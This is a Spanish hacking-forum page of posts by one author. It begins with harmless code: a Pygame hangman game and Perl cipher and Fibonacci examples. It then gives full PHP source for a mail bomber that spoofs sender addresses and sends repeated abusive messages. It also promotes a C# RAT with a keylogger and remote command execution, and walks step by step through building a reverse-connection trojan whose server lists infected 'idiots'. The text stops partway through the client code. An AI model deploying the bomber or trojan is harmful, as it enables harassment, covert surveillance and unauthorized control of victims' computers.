elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado:


  Mostrar Mensajes
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 34
1  Programación / Scripting / [Python-Pygame] Cruel Hangman 0.2 en: Ayer a las 15:02
Un simple ahorcado que hice en python usando Pygame , el juego es una  parodia del capitulo llamado "Chef se volvio loco" de South Park , es solo una parodia de ese capitulo no se lo vayan a tomar en serio.

Una imagen :



El codigo :

Código
  1. #!usr/bin/python
  2. #Cruel Hangman 0.2
  3. #(C) Doddy Hackman 2014
  4.  
  5. import pygame,sys,time,random
  6. from pygame.locals import *
  7.  
  8. test1 = ""
  9. test2 = ""
  10. test3 = ""
  11. test4 = ""
  12. test5 = ""
  13.  
  14. des1 = "0"
  15. des2 = "0"
  16. des3 = "0"
  17. des4 = "0"
  18. des5 = "0"
  19.  
  20. gane = "0"
  21. perdi = "0"
  22.  
  23. repetido = []
  24.  
  25. oportunidades = 7
  26.  
  27. def escribir_fuente(texto,x,y):
  28. cargando_fuente = pygame.font.SysFont(None, 40)
  29. tipo_fuente = cargando_fuente.render(texto, True, (255, 0, 0))
  30. posicion = tipo_fuente.get_rect()
  31. posicion.centerx = x
  32. posicion.centery = y
  33. screen.blit(tipo_fuente,posicion)
  34.  
  35. def actualizar(letra,letra1,letra2,letra3,letra4,letra5):
  36.  
  37.  global oportunidades
  38.  
  39.  if letra=="inicio":
  40.  
  41.   test1 = ""
  42.   test2 = ""
  43.   test3 = ""
  44.   test4 = ""
  45.   test5 = ""
  46.  
  47.   des1 = "0"
  48.   des2 = "0"
  49.   des3 = "0"
  50.   des4 = "0"
  51.   des5 = "0"
  52.  
  53.   gane = "0"
  54.   perdi = "0"
  55.  
  56.   oportunidades = 7
  57.  
  58.   global repetido
  59.  
  60.   repetido = []
  61.  
  62.   over = pygame.image.load("Data/Images/logoinicio.png")
  63.   screen.blit(over,(0,0))
  64.  
  65.   escribir_fuente("_",300,570)
  66.   escribir_fuente("_",350,570)
  67.   escribir_fuente("_",400,570)
  68.   escribir_fuente("_",450,570)
  69.   escribir_fuente("_",500,570)
  70.  
  71.   escribir_fuente("",300,560)
  72.   escribir_fuente("",350,560)
  73.   escribir_fuente("",400,560)
  74.   escribir_fuente("",450,560)
  75.   escribir_fuente("",500,560)
  76.  
  77.   pygame.display.update()
  78.  
  79.  else:
  80.  
  81.  
  82.   if oportunidades==7:
  83.    over = pygame.image.load("Data/Images/logoinicio.png")
  84.    screen.blit(over,(0,0))
  85.  
  86.   global test1
  87.   global test2
  88.   global test3
  89.   global test4
  90.   global test5
  91.  
  92.   global des1
  93.   global des2
  94.   global des3
  95.   global des4
  96.   global des5
  97.  
  98.   global gane
  99.   global perdi
  100.  
  101.   control = 0
  102.  
  103.   if letra==letra1:
  104.    test1 = letra
  105.    if des1 == "0":
  106.     des1 = "1"
  107.     control = 1
  108.  
  109.   if letra==letra2:
  110.    test2 = letra
  111.    if des2 == "0":
  112. des2 = "1"
  113. control = 1
  114.  
  115.   if letra==letra3:
  116.    test3 = letra
  117.    if des3 == "0":
  118. des3 = "1"
  119. control = 1
  120.  
  121.   if letra==letra4:
  122.    test4 = letra
  123.    if des4 == "0":
  124. des4 = "1"
  125. control = 1
  126.  
  127.   if letra==letra5:
  128.    test5 = letra
  129.    if des5 == "0":
  130. des5 = "1"
  131. control = 1
  132.  
  133.   if des1=="1" and des2=="1" and des3=="1" and des4=="1" and des5=="1":
  134. oportunidades = 7
  135. pygame.mixer.Sound("Data/Sounds/ohh.ogg").play()
  136. escribir_fuente("You Win",680,50)
  137. escribir_fuente("Press Enter to continue",680,90)
  138. gane = "1"
  139. pygame.display.update()
  140.  
  141.   if control==1:
  142.    repetido.append(letra)
  143.    pygame.mixer.Sound("Data/Sounds/bien.ogg").play()
  144.   else:
  145. if not letra in repetido:
  146. oportunidades = oportunidades - 1  
  147. pygame.mixer.Sound("Data/Sounds/mal.ogg").play()
  148.  
  149.   if oportunidades==6:
  150.    over = pygame.image.load("Data/Images/logocabeza.png")
  151.    screen.blit(over,(0,0))
  152.  
  153.   if oportunidades==5:
  154.    over = pygame.image.load("Data/Images/logopalo.png")
  155.    screen.blit(over,(0,0))
  156.  
  157.   if oportunidades==4:
  158.    over = pygame.image.load("Data/Images/logobrazo1.png")
  159.    screen.blit(over,(0,0))    
  160.  
  161.   if oportunidades==3:
  162.    over = pygame.image.load("Data/Images/logobrazo2.png")
  163.    screen.blit(over,(0,0))
  164.  
  165.   if oportunidades==2:
  166.    over = pygame.image.load("Data/Images/logopierna1.png")
  167.    screen.blit(over,(0,0))
  168.  
  169.   if oportunidades==1:
  170.    over = pygame.image.load("Data/Images/final.png")
  171.    screen.blit(over,(0,0))
  172.    pygame.mixer.Sound("Data/Sounds/festejo.ogg").play()
  173.    escribir_fuente("You Lost",680,50)
  174.    escribir_fuente("Press Enter to continue",680,90)
  175.    perdi = "1"
  176.    test1 = letra1
  177.    test2 = letra2
  178.    test3 = letra3
  179.    test4 = letra4
  180.    test5 = letra5
  181.  
  182.   escribir_fuente("_",300,570)
  183.   escribir_fuente("_",350,570)
  184.   escribir_fuente("_",400,570)
  185.   escribir_fuente("_",450,570)
  186.   escribir_fuente("_",500,570)
  187.  
  188.   escribir_fuente(test1,300,560)
  189.   escribir_fuente(test2,350,560)
  190.   escribir_fuente(test3,400,560)
  191.   escribir_fuente(test4,450,560)
  192.   escribir_fuente(test5,500,560)
  193.  
  194.   pygame.display.update()
  195.  
  196.  
  197. screen = pygame.display.set_mode((860,640),0,32)
  198.  
  199. icono = pygame.image.load("Data/Images/icono.png").convert_alpha()      
  200. pygame.display.set_icon(icono)
  201. pygame.display.set_caption("Cruel Hangman 0.2 (C) Doddy Hackman 2014")
  202.  
  203. pygame.init()
  204.  
  205. pygame.mixer.Sound("Data/Sounds/menu.wav").play()
  206. men = pygame.image.load("Data/Images/logohangman.png")
  207. screen.blit(men,(0,0))
  208. pygame.display.update()
  209. time.sleep(9)
  210.  
  211. def game():
  212.  
  213. #palabras = ["pizza","agrio"]
  214. palabras =
  215.  
  216. ["andar","banco","cazar","clave","etapa","oasis","parte","saber","socio","u
  217.  
  218. sado","ronca","boxeo","pizza","groso","fallo","acera","acoso","agrio","ansi
  219.  
  220. a","gnomo","gordo","pieza"]
  221.  
  222. palabra = random.choice(palabras)
  223.  
  224. letra1 = palabra[0]
  225. letra2 = palabra[1]
  226. letra3 = palabra[2]
  227. letra4 = palabra[3]
  228. letra5 = palabra[4]
  229.  
  230. actualizar("inicio",letra1,letra2,letra3,letra4,letra5)
  231.  
  232. pygame.mixer.init()
  233. pygame.mixer.music.load("Data/Sounds/theme.mp3")
  234. pygame.mixer.music.play()
  235.  
  236.  
  237. while True:
  238.  for eventos in pygame.event.get():
  239.   if eventos.type == QUIT:
  240.    sys.exit(0)
  241.  
  242.  
  243.   if (eventos.type == pygame.KEYDOWN) and (eventos.key ==
  244.  
  245. pygame.K_RETURN):
  246.   if gane=="1" or perdi=="1":
  247.   game()
  248.  
  249.   if eventos.type==KEYDOWN :
  250.    if eventos.unicode.lower() in ("abcdefghijklmnopqrstuvwxyz"):
  251.     actualizar(eventos.unicode,letra1,letra2,letra3,letra4,letra5)
  252.  
  253. game()
  254.  
  255. # The End ?
  256.  
  257.  

Si quieren bajar el juego lo pueden hacer de

aca.
2  Programación / Scripting / [Perl] Ejemplo de Cifrado Vigenere en: 13 Diciembre 2014, 15:23
Un simple ejemplo del cifrado Vigenere que hice usando un modulo que encontre en cpan.

El codigo :

Código
  1. # !usr/bin/perl
  2. # Vigenere Cipher
  3. # Coded By Doddy Hackman in the year 2014
  4.  
  5. use Crypt::Vigenere;
  6.  
  7. head();
  8. menu();
  9. copyright();
  10.  
  11. # Functions
  12.  
  13. sub head {
  14.    print "\n-- == Vigenere Cipher == --\n";
  15. }
  16.  
  17. sub copyright {
  18.    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
  19. }
  20.  
  21. sub menu {
  22.    print qq(
  23. ===============
  24. = Menu        =
  25. ===============
  26. 1 - Encode    =
  27. 2 - Decode    =
  28. 3 - Exit      =
  29. ===============
  30. );
  31.  
  32.    print "\n[+] Option : ";
  33.    chomp( my $op = <stdin> );
  34.  
  35.    if ( $op eq "3" ) {
  36.        copyright();
  37.        <stdin>;
  38.        exit(1);
  39.    }
  40.  
  41.    print "\n[+] Enter text : ";
  42.    chomp( my $text = <stdin> );
  43.  
  44.    print "\n[+] Enter Key : ";
  45.    chomp( my $key = <stdin> );
  46.  
  47.    print "\n[+] Result ...\n\n";
  48.  
  49.    $tool = Crypt::Vigenere->new($key);
  50.  
  51.    if ( $op eq "1" ) {
  52.        print $tool->encodeMessage($text);
  53.        <stdin>;
  54.        menu();
  55.    }
  56.    elsif ( $op eq "2" ) {
  57.        print $tool->decodeMessage($text);
  58.        <stdin>;
  59.        menu();
  60.    }
  61.    else {
  62.        menu();
  63.    }
  64.  
  65. }
  66.  
  67. # The End ?
  68.  

Eso es todo.
3  Programación / Scripting / [Perl] Ejemplo de Sucesion Fibonacci en: 5 Diciembre 2014, 15:04
Un simple ejemplo de la Sucesion Fibonacci en Perl.

El codigo :

Código
  1. # !usr/bin/perl
  2. # Sucesion Fibonacci
  3. # Coded By Doddy Hackman in the year 2014
  4.  
  5. head();
  6.  
  7. print "\n\n[+] Enter count : ";
  8. chomp( my $cantidad = <stdin> );
  9.  
  10. print "\n";
  11.  
  12. my ( $uno, $dos ) = ( "0", "1" );
  13.  
  14. for my $num ( 0 .. $cantidad ) {
  15.    print "[+] : " . $uno . "\n";
  16.    my $final = $uno + $dos;
  17.    $uno = $dos;
  18.    $dos = $final;
  19. }
  20.  
  21. copyright();
  22. <stdin>;
  23. exit(1);
  24.  
  25. # Functions
  26.  
  27. sub head {
  28.    print "\n-- == Fibonacci Sequence == --\n";
  29. }
  30.  
  31. sub copyright {
  32.    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
  33. }
  34.  
  35. # The End ?
  36.  
  37.  
4  Programación / Scripting / [Perl] Ejemplo de Cifrado Cesar en: 28 Noviembre 2014, 17:48
Un simple ejemplo de como hacer en cifrado cesar en Perl.

El codigo :

Código
  1. # !usr/bin/perl
  2. # Caesar Cipher
  3. # Coded By Doddy Hackman in the year 2014
  4.  
  5. head();
  6. menu();
  7. copyright();
  8.  
  9. # Functions
  10.  
  11. sub head {
  12.    print "\n-- == Caesar Cipher == --\n";
  13. }
  14.  
  15. sub copyright {
  16.    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
  17. }
  18.  
  19. sub menu {
  20.    print qq(
  21. ==============
  22. = Menu       =
  23. ==============
  24. 1 - Encode   =
  25. 2 - Decode   =
  26. 3 - Exit     =
  27. ==============
  28. );
  29.  
  30.    print "\n[+] Option : ";
  31.    chomp( my $op = <stdin> );
  32.  
  33.    if ( $op eq "3" ) {
  34.        copyright();
  35.        <stdin>;
  36.        exit(1);
  37.    }
  38.  
  39.    print "\n[+] Enter text : ";
  40.    chomp( my $text = <stdin> );
  41.  
  42.    print "\n[+] Result ...\n\n";
  43.  
  44.    if ( $op eq "1" ) {
  45.        print cifrado_cesar($text);
  46.        <stdin>;
  47.        menu();
  48.    }
  49.    elsif ( $op eq "2" ) {
  50.        print descifrado_cesar($text);
  51.        <stdin>;
  52.        menu();
  53.    }
  54.    else {
  55.        menu();
  56.    }
  57.  
  58. }
  59.  
  60. sub cifrado_cesar {
  61.  
  62.    my @re;
  63.  
  64.    @letras = split( //, $_[0] );
  65.  
  66.    for my $letra (@letras) {
  67.  
  68.        if ( $letra ne " " ) {
  69.  
  70.            $letrafinal = chr( ord($letra) + 3 );
  71.  
  72.            $letrafinal =~ s/{/a/;
  73.            $letrafinal =~ s/\|/b/;
  74.            $letrafinal =~ s/}/c/;
  75.  
  76.            push( @re, $letrafinal );
  77.  
  78.        }
  79.        else {
  80.            push( @re, " " );
  81.        }
  82.    }
  83.  
  84.    return @re;
  85.  
  86. }
  87.  
  88. sub descifrado_cesar($texto) {
  89.  
  90.    my @re;
  91.  
  92.    @letras = split( //, $_[0] );
  93.  
  94.    for my $letra (@letras) {
  95.  
  96.        if ( $letra ne " " ) {
  97.  
  98.            $letrafinal = chr( ord($letra) - 3 );
  99.  
  100.            $letrafinal =~ s/\^/x/;
  101.            $letrafinal =~ s/_/y/;
  102.            $letrafinal =~ s/`/z/;
  103.  
  104.            push( @re, $letrafinal );
  105.  
  106.        }
  107.        else {
  108.            push( @re, " " );
  109.        }
  110.    }
  111.  
  112.    return @re;
  113.  
  114. }
  115.  
  116. # The End ?
  117.  
5  Programación / Scripting / [Perl] Ejemplo de Cifrado Murcielago en: 21 Noviembre 2014, 14:11
Un simple ejemplo en Perl sobre como realizar el cifrado Murcielago.

Código
  1. # !usr/bin/perl
  2. # Cifrado Murcielago
  3. # Coded By Doddy Hackman in the year 2014
  4.  
  5. head();
  6. menu();
  7. copyright();
  8.  
  9. # Functions
  10.  
  11. sub head {
  12.    print "\n-- == Cifrado Murcielago == --\n";
  13. }
  14.  
  15. sub copyright {
  16.    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
  17. }
  18.  
  19. sub menu {
  20.    print qq(
  21. ===============
  22. = Menu        =
  23. ===============
  24. 1 - Cifrar    =
  25. 2 - Descifrar =
  26. 3 - Exit      =
  27. ===============
  28. );
  29.  
  30.    print "\n[+] Option : ";
  31.    chomp( my $op = <stdin> );
  32.  
  33.    if ( $op eq "3" ) {
  34.        copyright();
  35.        <stdin>;
  36.        exit(1);
  37.    }
  38.  
  39.    print "\n[+] Enter text : ";
  40.    chomp( my $text = <stdin> );
  41.  
  42.    print "\n[+] Result ...\n\n";
  43.  
  44.    if ( $op eq "1" ) {
  45.        print cifrado_murcielago($text);
  46.        <stdin>;
  47.        menu();
  48.    }
  49.    elsif ( $op eq "2" ) {
  50.        print descifrado_murcielago($text);
  51.        <stdin>;
  52.        menu();
  53.    }
  54.    else {
  55.        menu();
  56.    }
  57.  
  58. }
  59.  
  60. sub cifrado_murcielago {
  61.    my $texto = shift;
  62.    $texto =~ tr/murcielagoMURCIELAGO/01234567890123456789/;
  63.    return $texto;
  64. }
  65.  
  66. sub descifrado_murcielago {
  67.    my $texto = shift;
  68.    $texto =~ tr/01234567890123456789/murcielagoMURCIELAGO/;
  69.    return $texto;
  70. }
  71.  
  72. # The End ?
  73.  
6  Programación / PHP / Re: [PHP] DH Bomber 0.5 en: 14 Noviembre 2014, 21:43
Considera ponerle un servicio SMTP como el de sendgrid.com o http://www.serversmtp.com/ Asi podra enviar miles.

ok , gracias por las sugerencias.
7  Programación / PHP / [PHP] DH Bomber 0.5 en: 14 Noviembre 2014, 14:30
Un simple mail bomber en PHP en la proxima version voy a usar correos gmail para enviar mensajes , no el mailer local de la pagina web.

Una imagen :



El codigo :

Código
  1. <?php
  2.  
  3. // DH Bomber 0.5
  4. // (C) Doddy Hackman 2014
  5.  
  6. echo '
  7. <style type="text/css">
  8.  
  9.  
  10. .main {
  11. margin : -287px 0px 0px -490px;
  12. border : White solid 1px;
  13. BORDER-COLOR: #ffffff;
  14. }
  15.  
  16.  
  17. #pie {
  18. position: absolute;
  19. bottom: 0;
  20. }
  21.  
  22. body,a:link {
  23. background-color: #000000;
  24. color:#ffffff;
  25. Courier New;
  26. cursor:crosshair;
  27. font-size: small;
  28. }
  29.  
  30. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  31. font: normal 10px Verdana, Arial, Helvetica,
  32. sans-serif;
  33. background-color:black;color:#ffffff;
  34. border: solid 1px #ffffff;
  35. border-color:#ffffff
  36. }
  37.  
  38. a:link,a:visited,a:active {
  39. color: #ffffff;
  40. font: normal 10px Verdana, Arial, Helvetica,
  41. sans-serif;
  42. text-decoration: none;
  43. }
  44.  
  45. </style>';
  46.  
  47. echo "<title>DH Bomber 0.5 (C) Doddy Hackman 2014</title>";
  48.  
  49. echo '<center><h1>-- == DH Bomber 0.5 == --</h1></center>
  50. <center>
  51. <br>';
  52.  
  53. if (isset($_POST['bombers'])) {
  54.  
  55.    $cantidad_bien = 0;
  56.    $cantidad_mal  = 0;
  57.  
  58.    $need = "";
  59.    $i    = "";
  60.    $need .= "MIME-Version: 1.0\n";
  61.    $need .= "Content-type: text/html ; charset=iso-8859-1\n";
  62.    $need .= "MIME-Version: 1.0\n";
  63.    $need .= "From: " . $_POST['nombrefalso'] . " <" . $_POST['falso'] . ">\n";
  64.    $need .= "To: " . $_POST['nombrefalso'] . "<" . $_POST['falso'] . ">\n";
  65.    $need .= "Reply-To:" . $_POST['falso'] . "\n";
  66.    $need .= "X-Priority: 1\n";
  67.    $need .= "X-MSMail-Priority:Hight\n";
  68.    $need .= "X-Mailer:Widgets.com Server";
  69.  
  70.    echo "
  71. <table border=1>
  72. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "" . ">Console</a></h2></center></td><tr>
  73. <td><fieldset>\n\n";
  74.  
  75.    $leyendo_mailist = explode("\n", trim($_POST['mailist']));
  76.    $mails           = array_filter($leyendo_mailist, 'trim');
  77.  
  78.    foreach ($mails as $mail) {
  79.        for ($i = 1; $i <= $_POST['count']; $i++) {
  80.            if (@mail($mail, $_POST['asunto'], $_POST['mensaje'], $need)) {
  81.                $cantidad_bien++;
  82.                echo "[<font color=#00FF00>Sent Successful</font>] Message <b>$i</b> to <b>" . htmlentities($mail) . "</b><br>";
  83.                flush();
  84.            } else {
  85.                echo "[<font color=red>Send Fail</font>] Message <b>$i</b> to <b>" . htmlentities($mail) . "</b><br>";
  86.                $cantidad_mal++;
  87.            }
  88.        }
  89.        echo "<br>";
  90.    }
  91.  
  92.    echo "<font color=#00FF00>[" . $cantidad_bien . "]</font> mails sent <font color=#00FF00>successfully</font>";
  93.    echo "<br><font color=red>[" . $cantidad_mal . "]</font> mails sent <font color=red>failed</font>";
  94.  
  95.    echo "</fieldset></td></table>";
  96.  
  97.    if ($cantidad_bien == 0) {
  98.        echo "<script>alert('Mails Not Send')</script>";
  99.    } else {
  100.        //echo "<script>alert('[".$cantidad_bien."] mails sent successfully')</script>";
  101.    }
  102.  
  103. } else {
  104.    echo '
  105. <form action="" method="POST">
  106. <table border="1">
  107. <tr>
  108. <td>FakeMail : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="falso" value="lagarto@juancho.com" size="44" type="text"></td></tr><tr>
  109. <td>FakeName : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="nombrefalso" value="Juancho" size="44" type="text"></td></tr><tr>
  110. <td>Subjects : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="asunto" value="Hi Bitch" size="44" type="text"></td></tr><tr>
  111. <td>Count : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="count" value="1" size="44" type="text"></td></tr><tr>
  112. <td>Mailist : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mailist" rows="7" cols="41">ihateyou@hotmail.com</textarea></td></tr><tr>
  113. <td>Body : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mensaje" rows="7" cols="41">I will make your life a living hell</textarea></td></tr><tr>
  114. </tr></tbody></table><br><br>
  115. <input name="bombers" value="Send" type="submit">
  116. </form>';
  117. }
  118.  
  119. echo '
  120. <br>
  121. <h1>-- == (C) Doddy Hackman 2014 == --</h1>
  122. </center>';
  123.  
  124. // The End ?
  125.  
  126. ?>
  127.  
8  Programación / .NET / [C#] DH Rat 0.3 en: 7 Noviembre 2014, 15:11
Un simple Rat que hice en C# con las siguientes opciones :

  • Abrir y cerrar lectora
  • Listar archivos en un directorio
  • Borrar archivos y directorios
  • Ver el contenido de un archivo
  • Hacer que el teclado escriba solo
  • Abre Word y para variar las cosas el teclado escribe solo
  • Mandar mensajes
  • Hacer que la computadora hable (en ingles)
  • Listar procesos
  • Matar un proceso
  • Ejecutar comandos y ver el resultado
  • Volver loco al mouse por un rato
  • Ocultar y mostrar el taskbar
  • Ocultar y mostrar los iconos del escritorio
  • Keylogger incluido

Una imagen :



Version VideoTutorial



Si lo quieren bajar lo pueden hacer de aca.
9  Programación / .NET / [C#] Creacion de un Troyano de conexion inversa en: 31 Octubre 2014, 16:21
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa
0x05 : Bibliografia

-- =================--------

0x01 : Introduccion

Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la
victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos de conexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos.
Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion inversa en C# pero gracias a un ejemplo llamado "Reverse Connection RAT Example" hecho por xSilent de hackhound logre entender el funcionamiento

Sabiendo todo esto vamos hacer uno en C# con Visual Studio 2010.

Comencemos ...

0x02 : Creacion del servidor

Primero vamos a crear el servidor de la siguiente forma con visual studio :



Una vez creado el proyecto pongan lo siguientes namespaces al inicio del codigo :

Código
  1. using System.Threading; // Lo usamos para poder manejar los hilos
  2. using System.Net.Sockets; // Lo usamos para poder crear la conexion
  3. using System.Net; // Lo usamos para poder crear la conexion
  4. using System.Text.RegularExpressions; // Lo usamos para buscar en los strings usando expresiones regulares
  5.  

Despues pongan las siguientes variables gobales al inicio del codigo :

Código
  1. TcpListener tcp_server; // Establecemos la variable tcp_server como TcpListener
  2. Thread thread_server; // Establecemos la variable thread_server Thread
  3.  

Ahora vamos a crear una clase llamada ServerManager con el siguiente codigo :

Código
  1. // Server Manager
  2. // Coded By Doddy Hackman
  3. // Credits :
  4. // Rat Based on : http://www.hackforums.net/showthread.php?tid=827069v
  5. // Thanks to xSilent
  6.  
  7. using System;
  8. using System.Collections.Generic;
  9. using System.Text;
  10. using System.Net.Sockets; // Para el manejo de sockets
  11. using System.IO; // Para el manejo de Streams
  12. using System.Windows.Forms;  // Para el manejo de formularios
  13. using System.Text.RegularExpressions; // Para el manejo de expresiones regulares
  14.  
  15. namespace server
  16. {
  17.    class ServerManager
  18.    {
  19.        public TcpClient manager; // Variable global para manejar el cliente
  20.        public string ip; // Variable global para tener la IP
  21.  
  22.        public delegate void cargando_datos(ServerManager manager, string Message);
  23.        public event cargando_datos evento_panel_control_now;
  24.  
  25.        public ServerManager(TcpClient manager)
  26.        {
  27.            this.manager = manager;
  28.            string datos = manager.Client.RemoteEndPoint.ToString(); // Cargamos los datos de la conexion
  29.            Match regex = Regex.Match(datos, "(.*):(.*)", RegexOptions.IgnoreCase); // Dividimos la ip y el puerto
  30.            if (regex.Success) // Si se encontro ...
  31.            {
  32.                ip = regex.Groups[1].Value; // Guardamos la IP
  33.  
  34.            }
  35.  
  36.            manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Seguimos leyendo
  37.        }
  38.        void leo_al_idiot(IAsyncResult contenido_leyendo)
  39.        {
  40.            try
  41.            {
  42.                StreamReader leyendo_now = new StreamReader(manager.GetStream()); // Leemos los datos de la conexion
  43.                string mensaje_leyendo_now = leyendo_now.ReadLine(); // Cargamos los datos de la conexión en la variable string
  44.                evento_panel_control_now(this, mensaje_leyendo_now); // Mandamos a la funcion los datos leidos con la variable string
  45.                manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Recargamos los datos
  46.            }
  47.            catch
  48.            {
  49.                //
  50.            }
  51.  
  52.        }
  53.  
  54.        public void respondo_al_idiot(string mensaje_now)
  55.        {
  56.            try
  57.            {
  58.                StreamWriter te_mando_now = new StreamWriter(manager.GetStream()); // Creamos el stream para responder al cliente
  59.                te_mando_now.WriteLine(mensaje_now); // Mandamos la respuesta
  60.                te_mando_now.Flush(); // Refrescamos el buffer
  61.            }
  62.            catch
  63.            {
  64.                //
  65.            }
  66.        }
  67.  
  68.    }
  69. }
  70.  
  71. // The End ?
  72.  

El formulario del servidor lo vamos hacer de la siguiente forma :

  • 1 ListView con una columna que tiene de texto "Idiots Found" y ponen la propiedad "View" en "Details"
  • 3 Botones con el siguiente texto "Online","OpenCD","Close CD"

Les tiene que quedar algo asi :



Una vez hecho esto hacemos doble click en el primer boton llamado "Online" para poner el siguiente codigo :

Código
  1. private void button1_Click(object sender, EventArgs e)
  2. {
  3. int port = 666; // Establecemos la variable port como int con el valor de 666 para usar como numero de puerto
  4. tcp_server = new TcpListener(IPAddress.Any, port); // Establecemos la conexion con el puerto usando tcp_server
  5. thread_server = new Thread(panel_control); // Establecemos el hilo thread_server para poder leer los datos
  6. thread_server.Start(); // Iniciamos el hilo thread_server
  7. }
  8.  

Despues del codigo del boton agreguen el siguiente codigo :

Código
  1. public void panel_control()
  2. {
  3. tcp_server.Start(); // Iniciamos el servidor
  4. while (true) // Bucle eterno para poder enviar y recibir datos de la conexion
  5. {
  6. ServerManager socket_server_now = new ServerManager(tcp_server.AcceptTcpClient()); // Aceptamos la conexion entrante
  7. socket_server_now.evento_panel_control_now += new ServerManager.cargando_datos(evento_panel_control); // Usamos la clase ServerManager para manejar
  8. // los datos de la conexion pendiente
  9. }
  10. }
  11.  
  12. void evento_panel_control(ServerManager vengo,string data)
  13. {
  14. Match regex = Regex.Match(data, "-ACATOY-LLEGUE-ACATOY-", RegexOptions.IgnoreCase); // Usamos la expresion regular
  15. // para controlar que se encuentre
  16. // el texto "-ACATOY-LLEGUE-ACATOY-" en la variable string data
  17. if (regex.Success) // Si se encuentra ...
  18. {
  19. Invoke(new _NewIdiot(NewIdiot),vengo); // Llamamos la funcion NewIdiot para agregar un cliente mas
  20. }
  21.  
  22. regex = Regex.Match(data, "-RtaCommand-(.*)-RtaCommand-", RegexOptions.IgnoreCase); // Si encontramos una respuesta
  23. // enviada por el servidor usamos la expresion regular para extraer la respuesta del servidor que esta entre los dos
  24. // -RtaCommand-
  25. if (regex.Success) // Si se encuentra ...
  26. {
  27. MessageBox.Show("[+] Status : "+regex.Groups[1].Value); // Mostramos la respuesta en MessageBox
  28. }
  29. }
  30.  
  31. delegate void _NewIdiot(ServerManager vengo);
  32. void NewIdiot(ServerManager vengo)
  33. {
  34. ListViewItem agregar = new ListViewItem(); // Creamos un item nuevo con la variable agregar
  35. agregar.Text = vengo.ip; // Agregamos como texto la IP
  36. agregar.Tag = vengo; // Agregamos como Tag los datos de "vengo"
  37. listView1.Items.Add(agregar); // Agregamos el nuevo item a la lista
  38. }
  39.  

Todos estos pasos les deberia quedar asi :



Ahora vamos hacer doble click el segundo boton que tiene como texto "OpenCD" para poner el siguiente codigo :

Código
  1. ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
  2. // del item seleccionado por el usuario
  3. manager.respondo_al_idiot("-Command-OpenCD-Command-"); // Mandamos la orden OpenCD al infectado seleccionado en el
  4. // listView
  5.  

Despues vamos agregar el siguiente codigo al segundo boton con texto "CloseCD" :

Código
  1. ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
  2. // del item seleccionado por el usuario
  3. manager.respondo_al_idiot("-Command-CloseCD-Command-"); // Mandamos la orden CloseCD al infectado seleccionado en el
  4. // listView
  5.  

Les deberia quedar algo asi los dos botones :



Eso seria todo en el servidor.

0x03 : Creacion del cliente

Ahora pasamos al cliente , para eso creamos un proyecto nuevo de la siguiente forma :



Una vez creado el proyecto establecemos los siguientes namespaces al inicio del codigo de la sguiente forma :

Código
  1. using System.Net.Sockets; // Lo usamos para el manejo de sockets
  2. using System.Net; // Lo usamos para el manejo de sockets
  3. using System.IO; // Lo usamos para el manejo de streams
  4. using System.Runtime.InteropServices; // Lo usamos para poder usar la funcion de abrir y cerrar la lectora
  5. using System.Text.RegularExpressions; // Lo usamos para las expresiones regulares
  6.  

Despues de eso establecemos las siguientes variables globales con el siguiente codigo :

Código
  1. [DllImport("winmm.dll", EntryPoint = "mciSendStringA")] // Importamos la dll winmm.dll para poder usar mciSendStringA
  2. public static extern void mciSendStringA(string comandonow, string retornonow, long longitudnow, long callbacknow);
  3. // Establecemos la funcion mciSendStringA para poder abrir y cerrar la lectora
  4. static TcpClient conexion_con_el_server = new TcpClient(); // Declaramos como static la variable TcpClient de conexion_con_el_server
  5. static IPEndPoint datos_para_la_conexion_con_el_server = null; // Declaramos como static la variable datos_para_la_conexion_con_el_server de tipo
  6. // IPEndPoint y la seteamos como null
  7.  

Ahora vamos al evento Load del formulario y ponemos el siguiente codigo :

Código
  1. datos_para_la_conexion_con_el_server = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 666); // Establecemos la variable datos_para_la_conexion_con_el_server
  2. // como IPEndPoint con el valor de la IP y el puerto
  3. entrar_al_servidor(); // Realizamos la conexion
  4.  

Despues del codigo del Load del formulario agregamos estas tres funciones vitales para la conexion las cuales manejan el tema de enviar y recibir datos del servidor :

Código
  1. public static void entrar_al_servidor()
  2. {
  3. try
  4. {
  5. conexion_con_el_server.Connect(datos_para_la_conexion_con_el_server); // Conectamos al servidor con los datos del server
  6. enviar_respuesta("-ACATOY-LLEGUE-ACATOY-"); // Enviamos el mensaje ACATOY al servidor para decirle que hay un nuevo idiot
  7. conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Capturamos todos los datos provenientes
